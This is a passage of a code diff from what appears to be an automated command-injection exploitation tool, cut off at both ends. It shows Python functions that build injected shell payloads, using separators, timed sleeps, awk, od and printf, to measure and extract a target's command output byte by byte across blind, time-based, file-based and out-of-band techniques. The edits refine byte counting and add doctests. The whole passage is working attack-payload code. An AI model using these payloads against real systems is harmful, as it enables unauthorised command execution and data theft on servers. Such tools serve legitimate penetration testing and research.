arithmetic=measured + "==" + expected) else: payload = (separator + var + "=\"" + word + "\"" + separator + _decide(separator, "${#" + var + "}" + settings.SINGLE_WHITESPACE + "-eq" + settings.SINGLE_WHITESPACE + expected)) - return checks.terminate_payload(payload, separator) + return checks.terminate_payload(payload, separator, keep_output=separator == settings.PIPE_SEPARATOR) """ How many bytes the command's output is, asked as a comparison so that it can be bisected. @@ -135,13 +175,15 @@ def get_length(separator, cmd, candidate_length, operator="-eq"): return checks.windows_boolean_probe(chain, "powershell.exe -InputFormat none write ([string](cmd /c " + cmd + ")).trim().length", {"-eq": "EQU", "-ge": "GEQ", "-le": "LEQ"}.get(operator, "EQU"), candidate_length) - if separator == "|": - # The separator is itself a pipe, so the measurement may be one - and needs no variable. - payload = separator + _decide(separator, "$(printf '%s' \"" + word + "\" | wc -c)" + settings.SINGLE_WHITESPACE + - operator + settings.SINGLE_WHITESPACE + str(candidate_length)) + if separator == settings.PIPE_SEPARATOR: + measured = _piped_length(word) + payload = separator + _decide(separator, measured + settings.SINGLE_WHITESPACE + operator + + settings.SINGLE_WHITESPACE + str(candidate_length), + arithmetic=measured + _ARITHMETIC[operator] + str(candidate_length)) else: - payload = separator + var + "=\"" + word + "\"" + separator + compare - return checks.terminate_payload(payload, separator) + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. + payload = separator + settings.BYTE_LOCALE_EXPORTED + separator + var + "=\"" + word + "\"" + separator + compare + return checks.terminate_payload(payload, separator, keep_output=separator == settings.PIPE_SEPARATOR) """ Whether the ordinal of the output's Nth byte is at or above this one, which is what bisects it. @@ -150,7 +192,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, operator="-le"): word = tb_payloads._output_word(cmd) qmarks = "?" * (num_of_chars - 1) var = settings.RANDOM_VAR_GENERATOR - var_ordinal = "$(printf '%d' \"'${" + var + "}\")" + var_ordinal = checks.byte_ordinal("${" + var + "}") compare = lambda expression, op: _decide(separator, str(ascii_char) + settings.SINGLE_WHITESPACE + op + settings.SINGLE_WHITESPACE + expression) if not _supported(separator): @@ -163,12 +205,14 @@ def get_char(separator, cmd, num_of_chars, ascii_char, operator="-le"): "powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim().substring(" + str(num_of_chars - 1) + ",1)))", "GEQ" if operator == "-le" else "EQU", ascii_char) - if separator == "|": - # A pipe indexes the output without a variable, which is what lets this stay one separator. - piped = ("$(printf '%d' \"'$(printf '%s' \"" + word + "\" | tail -c +" + str(num_of_chars) + " | head -c 1)\")") - payload = separator + compare(piped, operator) + if separator == settings.PIPE_SEPARATOR: + piped = _piped_ordinal(word, num_of_chars) + payload = separator + _decide(separator, str(ascii_char) + settings.SINGLE_WHITESPACE + operator + + settings.SINGLE_WHITESPACE + piped, + arithmetic=str(ascii_char) + _ARITHMETIC[operator] + piped) else: - payload = separator + _var_chain(separator, word, qmarks) + compare(var_ordinal, operator) - return checks.terminate_payload(payload, separator) + # Sliced in bytes, as the length beside it counts - exported, since a rewrite can move the counting into a command of its own. + payload = separator + settings.BYTE_LOCALE_EXPORTED + separator + _var_chain(separator, word, qmarks) + compare(var_ordinal, operator) + return checks.terminate_payload(payload, separator, keep_output=separator == settings.PIPE_SEPARATOR) # eof diff --git a/src/core/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py index 524fa2a85c..ffe4ff82df 100644 --- a/src/core/techniques/oob/oob_payloads.py +++ b/src/core/techniques/oob/oob_payloads.py @@ -410,7 +410,7 @@ def proof(transport, plus=PLUS): elif settings.SKIP_CALC: # Command substitution either way, so '--tamper=backticks' reaches here too. total = settings.CMD_SUB_PREFIX + "echo" + settings.SINGLE_WHITESPACE + token + settings.CMD_SUB_SUFFIX - elif settings.USE_BACKTICKS or settings.WAF_ENABLED: + elif checks.using_backticks() or settings.WAF_ENABLED: # Same fallback the classic technique uses, so '--tamper=backticks' reaches here too. total = (settings.CMD_SUB_PREFIX + "expr" + settings.SINGLE_WHITESPACE + str(first) + settings.SINGLE_WHITESPACE + plus + settings.SINGLE_WHITESPACE + str(second) + diff --git a/src/core/techniques/results_based/rb_payloads.py b/src/core/techniques/results_based/rb_payloads.py index de20ae720a..105970bb8c 100755 --- a/src/core/techniques/results_based/rb_payloads.py +++ b/src/core/techniques/results_based/rb_payloads.py @@ -47,7 +47,7 @@ def decision(separator, TAG, randv1, randv2): settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG ) else: - if settings.USE_BACKTICKS or settings.WAF_ENABLED: + if checks.using_backticks() or settings.WAF_ENABLED: math_calc = settings.CMD_SUB_PREFIX + "expr " + str(randv1) + " + " + str(randv2) + settings.CMD_SUB_SUFFIX else: # Arithmetic expansion is the substitution pair with one more set of parentheses inside it. diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index f3aebbd20f..d5a8e43836 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -55,6 +55,13 @@ def flattened_trimmed_text(OUTPUT_TEXTFILE): Each rule holds a single statement, so the program needs no ';' of its own, and the join is written as 'OFS' rather than a literal space - which a script rewriting whitespace would otherwise rewrite inside awk's own quotes, where it is text rather than a separator. + + >>> ";" in flattened_trimmed_text("/tmp/o.txt") + False + >>> "|" in flattened_trimmed_text("/tmp/o.txt") + False + >>> flattened_trimmed_text("/tmp/o.txt").endswith("/tmp/o.txt") + True """ return ("awk 'NR>1{out=(out)(OFS)}{out=(out)($0)}END{print(out)}' " + OUTPUT_TEXTFILE) @@ -90,7 +97,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1})))" ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): # The write leaves no output of its own, so the read right after it reads as one word - # which sequences the two without an operator between them. payload = separator + tb_payloads._timed_comparison(timesec, j, @@ -152,7 +159,7 @@ def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + tb_payloads._py_timed_comparison(timesec, j, settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX) @@ -215,6 +222,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth if separator in (";", "\n", "\r\n") : arith_operator = "<=" if operator == "-le" else "==" payload = (separator + + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. + settings.BYTE_LOCALE_EXPORTED + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " " + flattened_file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + "echo \"" + trimmed_output_text() + "\" >" + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + @@ -222,10 +231,10 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(j) + arith_operator + settings.RANDOM_VAR_GENERATOR + "1)))" + separator + # Transform to ASCII - settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t u1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $" + settings.RANDOM_VAR_GENERATOR + "1 >" + OUTPUT_TEXTFILE ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): arith_operator = "<=" if operator == "-le" else "==" # Every step is a substitution inside the one command, and they are expanded left to right: # the command runs, the file is flattened back over itself, the length is read off it, and @@ -234,13 +243,15 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth measured = (settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + flattened_trimmed_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "\"" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX) - to_decimals = (settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + "od -A n -t d1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + + to_decimals = (settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + "od -A n -t u1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX) payload = (separator + tb_payloads._timed_comparison(timesec, j, tb_payloads._length_arg_expr(measured), arith_operator) + to_decimals) elif separator == "&": + # The "&&" this payload already carries holds the pin too, which "&" alone would background away. payload = (separator + + settings.BYTE_LOCALE_EXPORTED + "&&" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "&&" + " " + flattened_file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "&&" + "echo \"" + trimmed_output_text() + "\" >" + OUTPUT_TEXTFILE + "&&" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + @@ -248,14 +259,15 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "[ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]&&" + "sleep " + str(timesec) + "&&" + # Transform to ASCII - settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t u1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + "echo $" + settings.RANDOM_VAR_GENERATOR + "1 >" + OUTPUT_TEXTFILE ) elif separator == "&&" : ampersand = "&" payload = (ampersand + - "sleep 0 " + separator + + # The command the "&&" needs on its left, pinning while it is there. + settings.BYTE_LOCALE_EXPORTED + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " " + flattened_file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + "echo \"" + trimmed_output_text() + "\"" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + @@ -264,7 +276,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "[ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + "sleep " + str(timesec) + separator + # Transform to ASCII - settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t u1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $" + settings.RANDOM_VAR_GENERATOR + "1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) @@ -306,7 +318,7 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + tb_payloads._py_timed_comparison(timesec, j, tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX) @@ -359,6 +371,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = "" win_operator = "GEQ" if operator == "-le" else "EQU" inverted_operator = "-gt" if operator == "-le" else "-ne" + # Read by every branch that scales a delay by the comparison, not only the first one to need it. + arith_operator = "<=" if operator == "-le" else "==" if settings.TARGET_OS == settings.OS.WINDOWS: chain = checks.windows_separator(separator) if chain is not None: @@ -369,13 +383,12 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http win_operator, ascii_char, timesec) else: if separator in (";", "\n", "\r\n") : - arith_operator = "<=" if operator == "-le" else "==" payload = (separator + # Use space as delimiter settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + settings.RANDOM_VAR_GENERATOR + ")))" ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + tb_payloads._timed_comparison(timesec, ascii_char, settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX, arith_operator) elif separator == "&&" : @@ -396,7 +409,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + " $(printf '%d' \"'$(cut -c" + str(num_of_chars) + " " + OUTPUT_TEXTFILE + ")\") ]" + "||" + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + " " + checks.byte_ordinal("$(cut -b" + str(num_of_chars) + " " + OUTPUT_TEXTFILE + ")") + " ]" + "||" + "sleep " + str(timesec) ) else: @@ -426,7 +439,7 @@ def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_c settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + tb_payloads._py_timed_comparison(timesec, ascii_char, settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\"" + settings.CMD_SUB_SUFFIX, arith_operator) elif separator == "&&" : @@ -472,7 +485,7 @@ def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_ settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + "==${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + tb_payloads._py_timed_comparison(timesec, ascii_char, settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX) elif separator == "&&" : @@ -576,7 +589,8 @@ def oracle_get_length(separator, OUTPUT_TEXTFILE, candidate_length, operator="-g if settings.TARGET_OS == settings.OS.WINDOWS: return bb_payloads.get_length(separator, "type " + OUTPUT_TEXTFILE, candidate_length, operator) var = settings.RANDOM_VAR_GENERATOR - payload = (separator + + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. + payload = (separator + settings.BYTE_LOCALE_EXPORTED + separator + var + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + bb_payloads._decide(separator, "${#" + var + "}" + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + str(candidate_length)) ) @@ -593,7 +607,7 @@ def oracle_get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, operat return "" if settings.TARGET_OS == settings.OS.WINDOWS: return bb_payloads.get_char(separator, "type " + OUTPUT_TEXTFILE, num_of_chars, ascii_char, operator) - ordinal = "$(printf '%d' \"'$(cut -c" + str(num_of_chars) + " " + OUTPUT_TEXTFILE + ")\")" + ordinal = checks.byte_ordinal("$(cut -b" + str(num_of_chars) + " " + OUTPUT_TEXTFILE + ")") payload = separator + bb_payloads._decide(separator, str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + ordinal) return checks.terminate_payload(payload, separator) diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index b818f862da..c4e7364ad0 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -50,7 +50,15 @@ def _length_expr(word): escaping - so the caller keeps to its own shape where those are in play. """ def _length_arg_expr(word): - return (settings.CMD_SUB_PREFIX + "awk 'BEGIN{print(length(ARGV[1]))}' \"" + word + "\"" + + """ + >>> "|" in _length_arg_expr("WORD") + False + >>> _length_arg_expr("WORD").startswith(settings.CMD_SUB_PREFIX + "LC_ALL=C awk ") + True + >>> "WORD" in _length_arg_expr("WORD") + True + """ + return (settings.CMD_SUB_PREFIX + "LC_ALL=C awk 'BEGIN{print(length(ARGV[1]))}' \"" + word + "\"" + settings.CMD_SUB_SUFFIX) """ @@ -58,14 +66,15 @@ def _length_arg_expr(word): instead, which is a different byte on any output that has more than one - and none at all for the lines that are shorter than N. -A letter follows the byte inside the substitution, and only the first of the two is read: a -substitution drops the newlines it ends with, so a byte that is itself a newline would otherwise -come back as nothing at all and the position it sits at could never be resolved. +The byte is counted rather than read as a character: counted, a newline is a number like any other, +where read it would be dropped along with the newlines a substitution ends with and the position it +sits at could never be resolved. The count is unsigned, so the whole byte survives it, and it is one +command on the end of the pipe the payload is already proving - no second statement to part. """ def _ordinal_expr(word, num_of_chars): # '+' rather than a bare '+', which arrives as a space - and 'tail -c N' counts from the end. - return ("$(printf '%d' \"'$(printf '%s' \"" + word + "\" | tail -c +" + str(num_of_chars) + - " | head -c 1" + settings.END_LINE.LF + "printf X)\")") + return (settings.CMD_SUB_PREFIX + "printf '%s' \"" + word + "\" | tail -c +" + str(num_of_chars) + + " | head -c 1 | od -A n -t u1" + settings.CMD_SUB_SUFFIX) """ The interpreter reads the output as an argument of its own rather than off a pipe. It is still data @@ -115,9 +124,15 @@ def _py_ordinal_expr(cmd, num_of_chars): substitution would eat inside the quoted program. """ def _ordinal_arg_expr(word, num_of_chars): - byte = (settings.CMD_SUB_PREFIX + "awk 'BEGIN{print((substr(ARGV[1]," + str(num_of_chars) + + """ + >>> "|" in _ordinal_arg_expr("WORD", 3) + False + >>> "substr(ARGV[1],3,1)" in _ordinal_arg_expr("WORD", 3) + True + """ + byte = (settings.CMD_SUB_PREFIX + "LC_ALL=C awk 'BEGIN{print((substr(ARGV[1]," + str(num_of_chars) + ",1))(\"X\"))}' \"" + word + "\"" + settings.CMD_SUB_SUFFIX) - return settings.CMD_SUB_PREFIX + "printf '%d' \"'" + byte + "\"" + settings.CMD_SUB_SUFFIX + return checks.byte_ordinal_term(byte) """ The same condition written as arithmetic, or nothing where it is not one 'test' comparison of @@ -127,6 +142,14 @@ def _ordinal_arg_expr(word, num_of_chars): (" -lt ", "<"), (" -ge ", ">="), (" -gt ", ">")) def _arithmetic_condition(condition): + """ + >>> _arithmetic_condition("1 -eq 1") + '1==1' + >>> _arithmetic_condition("4 -le 5") + '4<=5' + >>> [_arithmetic_condition(_) for _ in ("-f /etc/passwd", "-n $VAR", "1 -eq $VAR")] + [None, None, None] + """ expression = condition for test_form, arithmetic in _TEST_TO_ARITHMETIC: expression = expression.replace(test_form, arithmetic) @@ -177,7 +200,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): """ Measured and delayed on in the one command, so neither of these has to chain anything. @@ -243,7 +266,7 @@ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_requ settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(output_length) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + _py_timed_comparison(timesec, output_length, settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len('" + TAG + "'))\"" + settings.CMD_SUB_SUFFIX) elif separator == "&": @@ -306,7 +329,7 @@ def condition_check(separator, condition, timesec, http_request_method): settings.RANDOM_VAR_GENERATOR + "=$?" + separator + "sleep $((" + str(timesec) + "*(" + settings.RANDOM_VAR_GENERATOR + "==0)))" ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS \ + elif separator in ("&", "&&") and checks.substitution_nests() \ and _arithmetic_condition(condition) is not None: payload = separator + "sleep $((" + str(timesec) + "*(" + _arithmetic_condition(condition) + ")))" elif separator == "&": @@ -358,17 +381,19 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): word = _output_word(cmd) if separator in (";", "\n", "\r\n"): payload = (separator + + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. + settings.BYTE_LOCALE_EXPORTED + separator + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + _timed_comparison(timesec, output_length, _length_arg_expr(word)) elif separator == "&": - # The "&&" this payload already carries can hold a variable, where a pipe into "wc" - # would bring in an operator the separator under test is not the one for. + # The "&&" this payload already carries holds the variable and the pin, where a pipe into "wc" would bring in an operator the separator under test is not. payload = (separator + + settings.BYTE_LOCALE_EXPORTED + "&&" + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + "&&" + "[ " + str(output_length) + " -eq ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + "&&" + "sleep " + str(timesec) @@ -377,7 +402,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): elif separator == "&&" : ampersand = "&" payload = (ampersand + - "sleep 0" + separator + + # The command the "&&" needs on its left, pinning while it is there. + settings.BYTE_LOCALE_EXPORTED + separator + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + @@ -416,7 +442,7 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(output_length) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + _py_timed_comparison(timesec, output_length, _py_length_expr(cmd)) elif separator == "&": payload = (separator + @@ -465,17 +491,19 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): word = _output_word(cmd) if separator in (";", "\n", "\r\n"): payload = (separator + + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. + settings.BYTE_LOCALE_EXPORTED + separator + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(candidate_length) + "<=$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) - elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + _timed_comparison(timesec, candidate_length, _length_arg_expr(word), "<=") elif separator == "&": - # The "&&" this payload already carries can hold a variable, where a pipe into "wc" - # would bring in an operator the separator under test is not the one for. + # The "&&" this payload already carries holds the variable and the pin, where a pipe into "wc" would bring in an operator the separator under test is not. payload = (separator + + settings.BYTE_LOCALE_EXPORTED + "&&" + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + "&&" + "[ " + str(candidate_length) + " -le ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + "&&" + "sleep " + str(timesec) @@ -484,7 +512,8 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): elif separator == "&&" : ampersand = "&" payload = (ampersand + - "sleep 0" + separator + + # The command the "&&" needs on its left, pinning while it is there. + settings.BYTE_LOCALE_EXPORTED + separator + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "[ " + str(candidate_length) + " -le $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + @@ -521,7 +550,7 @@ def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(candidate_length) + "<=${" + settings.RANDOM_VAR_GENERATOR + 